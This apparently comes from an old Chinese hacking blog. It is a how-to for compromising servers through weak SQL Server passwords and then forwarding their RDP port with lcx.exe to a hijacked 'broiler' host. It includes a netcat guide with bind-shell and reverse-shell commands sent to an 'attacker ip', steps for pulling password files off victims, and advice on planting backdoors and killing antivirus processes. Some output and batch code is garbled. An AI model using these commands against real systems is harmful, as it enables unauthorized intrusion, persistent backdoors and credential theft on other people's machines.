***必備小工具

lcx.exe的使用方法

以前抓肉雞都是通過1433弱口令,然後..

    但是發現很多服務器開了1433,3389,但是終端是連不上的,因爲服務器本身是在內網,只對外開放了1433端口,幸好有lcx.exe這個東西,用sqltools.exe傳倒服務器上...

    lcx.exe是個端口轉發工具,相當於把肉雞A上的3389端口轉發到B機上,當然這個B機必須有外網IP.這樣鏈接B機的3389度端口就相當於鏈接A機的3389.

    用法:如在本機B上監聽 -listen 51 3389,在肉雞A上運行-slave 本機ip 51 肉雞ip 3389   那麼在本地連127.0.0.1就可以連肉雞的3389.第二條是本機轉向。

    例:現在有一個ip爲 201.1.1.1的1433弱.用端口掃描只發現開放了1433端口.用sqltools鏈接,dir 看一下 C:\>DIR C:\

2004/09/17   10:32     <DIR>       autoAK
2005/02/21   17:08           12,541 avgun.log。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。
日語,顯示不正常.呵呵.
netstat -an 查看開放端口   TCP   0.0.0.0:3376         0.0.0.0:0           LISTENING
  TCP   0.0.0.0:3389         0.0.0.0:0           LISTENING
  TCP   0.0.0.0:3791         0.0.0.0:0           LISTENING
  TCP   0.0.0.0:3877         0.0.0.0:0           LISTENING
終端已開.看下IP
ipconfig
C:\>ipconfig
  Windows 2000 IP Configuration   Ethernet adapter
  Connection-specific DNS Suffix   . :
  IP Address. . . . . . . . . . . . : 192.168.1.24
  Subnet Mask . . . . . . . . . . . : 255.255.255.0
  Default Gateway . . . . . . . . . : 192.168.1.1192這樣的是內網了...
現在可以用lcx.exe搞定了...
上傳lcx.exe到肉雞...C:\>dir lcx.exeC:\WINNT\system32

2006/04/02   13:40           32,768 lcx.exe首先在自己機子的cmd下運行
lcx.exe -listen 51 3389
意思是監聽51端口並轉發到3389端口
顯示如下[+] Listening port 51 ......
[+] Listen OK!
[+] Listening port 3389 ......
[+] Listen OK!
[+] Waiting for Client on port:51 ......然後在肉雞上運行 lcx.exe -slave 你的IP 51 201.1.1.1 3389
201.1.1.1是我舉例用的肉雞IP.換成你的..運行以後本機監聽端口就會收到信息.[+] Listening port 51 ......
[+] Listen OK!
[+] Listening port 3389 ......
[+] Listen OK!
[+] Waiting for Client on port:51 ......
[+] Accept a Client on port 55 from 201.1.1.1 ......
[+] Waiting another Client on port:3389....好了.現在在自己機子上鍊接 127.0.0.1 或者輸你自己IP.
發現進去的不是自己機子,(或者自己機子根本連不上),而是肉雞A了!優點,搞定內網肉雞.
缺點,有點麻煩,而且每次都要通過sqltools先進行端口轉發.當然也可以用反彈***控制肉雞了... nc.exe的使用方法

1. Netcat 1.10 for NT - nc11nt.zip,原始英文信息
2. Netcat 1.10 for NT 幫助信息
3. Netcat 1.10 常用的命令格式
4. 管理肉雞,更改肉雞設置
5. 下載連接


######################################################################
1. Netcat 1.10 for NT - nc11nt.zip
######################################################################
Basic Features
* Outbound or inbound connections, TCP or UDP, to or from any ports
* Full DNS forward/reverse checking, with appropriate warnings
* Ability to use any local source port
* Ability to use any locally-configured network source address
* Built-in port-scanning capabilities, with randomizer
* Can read command line arguments from standard inputb
* Slow-send mode, one line every N seconds
* Hex dump of transmitted and received data
* Ability to let another program service established
connections
* Telnet-options responder
New for NT
* Ability to run in the background without a console window
* Ability to restart as a single-threaded server to handle a new
connection
________________________________________________________________________
Some of the features of netcat are:
Outbound or inbound connections, TCP or UDP, to or from any ports
Full DNS forward/reverse checking, with appropriate warnings
Ability to use any local source port
Ability to use any locally-configured network source address
Built-in port-scanning capabilities, with randomizer
Built-in loose source-routing capability
Can read command line arguments from standard input
Slow-send mode, one line every N seconds
Optional ability to let another program service inbound connections
Some of the potential uses of netcat:
Script backends
Scanning ports and inventorying services
Backup handlers
File transfers
Server testing and simulation
Firewall testing
Proxy gatewaying
Network performance testing
Address spoofing tests
Protecting X servers
1001 other uses you`ll likely come up with
Netcat + Encryption = Cryptcat
對比win2000微軟的telnet.exe和微軟的tlntsvr.exe服務,連接的時候就可以看出來了.

1.1 NC.EXE是一個非標準的telnet客戶端程序,
1.2 還有一個putty.exe客戶端程序,提供四種連接模式
-raw -telnet -rlogin -ssh.
######################################################################
2. Netcat 1.10 for NT 幫助信息
######################################################################
C:\WINDOWS\Desktop>nc -h
[v1.10 NT]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]
options:
-d detach from console, background mode (後臺模式)
-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft (本幫助信息)
-i secs delay interval for lines sent, ports scanned (延遲時間)
-l listen mode, for inbound connects (監聽模式,等待連接)
-L listen harder, re-listen on socket close (連接關閉後,仍然繼續監聽)
-n numeric-only IP addresses, no DNS (ip數字模式,非dns解析)
-o file hex dump of traffic (十六進制模式輸出文件,三段)
-p port local port number (本地端口)
-r randomize local and remote ports (隨機本地遠程端口)
-s addr local source address (本地源地址)
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose] (-vv 更多信息)
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning] (掃描模式,-vv)
port numbers can be individual or ranges: m-n [inclusive]
######################################################################
3. Netcat 1.10 常用的命令格式
######################################################################
下面引用 《沉睡不醒 10月15日凌晨》的文章的部分。
3.1.端口的刺探:
nc -vv ip port
RIVER [192.168.0.198] 19190 (?) open //顯示是否開放open
3.2.掃描器
nc -vv -w 5 ip port-port port
nc -vv -z ip port-port port
這樣掃描會留下大量的痕跡,系統管理員會額外小心
3.3. 後門
victim machine: //受害者的機器
nc -l -p port -e cmd.exe //win2000
nc -l -p port -e /bin/sh //unix,linux
attacker machine: //***者的機器.
nc ip -p port //連接victim_IP,然後得到一個shell。
3.4.反向連接
attacker machine: //一般是sql2.exe,遠程溢出,webdavx3.exe***.
//或者wollf的反向連接.
nc -vv -l -p port
victim machine:
nc -e cmd.exe attacker ip -p port
nc -e /bin/sh attacker ip -p port
或者:
attacker machine:
nc -vv -l -p port1 /*用於輸入*/
nc -vv -l -p prot2 /*用於顯示*/
victim machine:
nc attacker_ip port1 | cmd.exe | nc attacker_ip port2
nc attacker_ip port1 | /bin/sh | nc attacker_ip port2
139要加參數-s(nc.exe -L -p 139 -d -e cmd.exe -s 對方機器IP)
這樣就可以保證nc.exe優先於NETBIOS。
3.5.傳送文件:
3.5.1 attacker machine <-- victim machine //從肉雞拖密碼文件回來.
nc -d -l -p port   path\file.txt /*victim machine*/ 需要Ctrl+C退出
//肉雞需要gui界面的cmd.exe裏面執行(終端登陸,不如安裝FTP方便).否則沒有辦法輸入
Crl+C.
3.5.2 attacker machine --> victim machine //上傳命令文件到肉雞
nc -vv -l -p port > path\file.txt      /*victim machine*/ 需要Ctrl+C退

nc -d victim_ip port < path\filedest   /*attacker machine*/ 可以shell執行
//這樣比較好.我們登陸終端.***其他的肉雞.可以選擇shell模式登陸.
結論: 可以傳輸ascii,bin文件.可以傳輸程序文件.
問題:連接某個ip後,傳送完成後,需要發送Ctrl+C退出nc.exe .
或者只有再次連接使用pskill.exe 殺掉進程.但是是否釋放傳輸文件打開的句柄了?
3.6 端口數據抓包.
nc -vv -w 2 -o test.txt www.xfocus.net 80 21-15
< 00000058 35 30 30 20 53 79 6e 74 61 78 20 65 72 72 6f 72 # 500 Syntax erro
r
< 00000068 2c 20 63 6f 6d 6d 61 6e 64 20 22 22 20 75 6e 72 # , command "" un
r
< 00000078 65 63 6f 67 6e 69 7a 65 64 2e 0d 0a # ecognized...
< 00000084 83 00 00 01 8f # .....
3.7 telnet,自動批處理。 ★★★★★我要重點推薦的東西就是這個.
nc victim_ip port < path\file.cmd   /*victim machine*/ 顯示執行過程.
nc -vv victim_ip port < path\file.cmd   /*victim machine*/ 顯示執行過程.
nc -d victim_ip port a.cmd
@echo s >>a.cmd
@echo cd /d %%windir%%\system32\ >>a.cmd
@net stop "sksockserver" >>a.cmd
@snake.exe -config port 11111 >>a.cmd
@net start "sksockserver" >>a.cmd
@exit >>a.cmd
:auto
@for /f "eol=; tokens=1,2" %%i in (%1) do @(nc.exe -vv -w 3 %%i 1234 >80.txt
goto start
把防火牆關掉以後運行這個批處理,會監聽到許多探測U漏洞的信息,大多
是三條一組--妮姆達病毒掃描你的。這樣就會得到肉雞的.雖然質量不高.
但是也是一種便宜的辦法.
肉雞特徵:
1。unicode漏洞
2。guest密碼爲空,administrators組用戶
3。其他漏洞
自己慢慢的爽去吧。不過,再次強調一句,不建議而且是不能破壞國內主機,上去以後
將tftp.exe改名。然後用pskill幹掉mmc.exe進程,之後是殺毒。做好後門以後,將gue
st帳號停用,以對付傻瓜掃描器
######################################################################
5. 下載連接
######################################################################
5.1 http://www.atstake.com/research/tools/network_utilities/
Tool: Netcat 1.10 for Unix
Version: 03.20.96
Platforms: *nix
Tool: Netcat 1.1 for Win 95/98/NT/2000
Version: 02.08.98
Platforms: Runs on Win 95/98/NT/2000
5.2 http://www.xfocus.net/download.php?id=320
名稱: cryptcat_nt.zip 更新時間: 2002-04-05
類別: 網絡工具 平臺: Win9x/NT/2000 大小: 115.8K 提交: maxilaw
簡介: 加密傳輸的nc。
5.3 http://content.443.ch/pub/security/blackhat/Networking/nc/國外的網站
10.03.02 15:48 1305 cryptcat.txt
10.03.02 15:48 245760 cryptcat_linux2.tar
10.03.02 15:48 118533 cryptcat_nt.zip sc.exe的使用方法

    Microsoft Windows [版本 5.2.3790]

  (C) 版權所有 1985-2003 Microsoft Corp.

  c:\>sc

  描述:

  SC 是用於與服務控制管理器通信的命令行程序。

  用法:

  sc [command] [service name] ...

  選項 的格式爲 "\\ServerName"

  可以鍵入 "sc [command]"以獲得命令的進一步幫助

  命令:

  query-----------查詢服務的狀態,

  或枚舉服務類型的狀態。

  queryex---------查詢服務的擴展狀態,

  或枚舉服務類型的狀態。

  start-----------啓動服務。

  pause-----------發送 PAUSE 控制請求到服務。

  interrogate-----發送 INTERROGATE 控制請求到服務。

  continue--------發送 CONTINUE 控制請求到服務。

  stop------------發送 STOP 請求到服務。

  config----------(永久地)更改服務的配置。

  description-----更改服務的描述。

  failure---------更改服務失敗時所進行的操作。

  qc--------------查詢服務的配置信息。

  qdescription----查詢服務的描述。

  qfailure--------查詢失敗服務所進行的操作。

  delete----------(從註冊表)刪除服務。

  create----------創建服務(將其添加到註冊表)。

  control---------發送控制到服務。

  sdshow----------顯示服務的安全描述符。

  sdset-----------設置服務的安全描述符。

  GetDisplayName--獲取服務的 DisplayName。

  GetKeyName------獲取服務的 ServiceKeyName。

  EnumDepend------枚舉服務的依存關係。

  下列命令不查詢服務名稱:

  sc

  boot------------(ok | bad) 表明是否將上一次啓動保存爲

  最後所知的好的啓動配置

  Lock------------鎖定服務數據庫

  QueryLock-------查詢 SCManager 數據庫的 LockStatus

  示例:

  sc start MyService

  您想查閱 QUERY 和 QUERYEX 命令的幫助嗎? [ y | n ]:

  這是自帶的幫助

  如果要刪除一個已經存在的服務就是

  sc delete servername

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章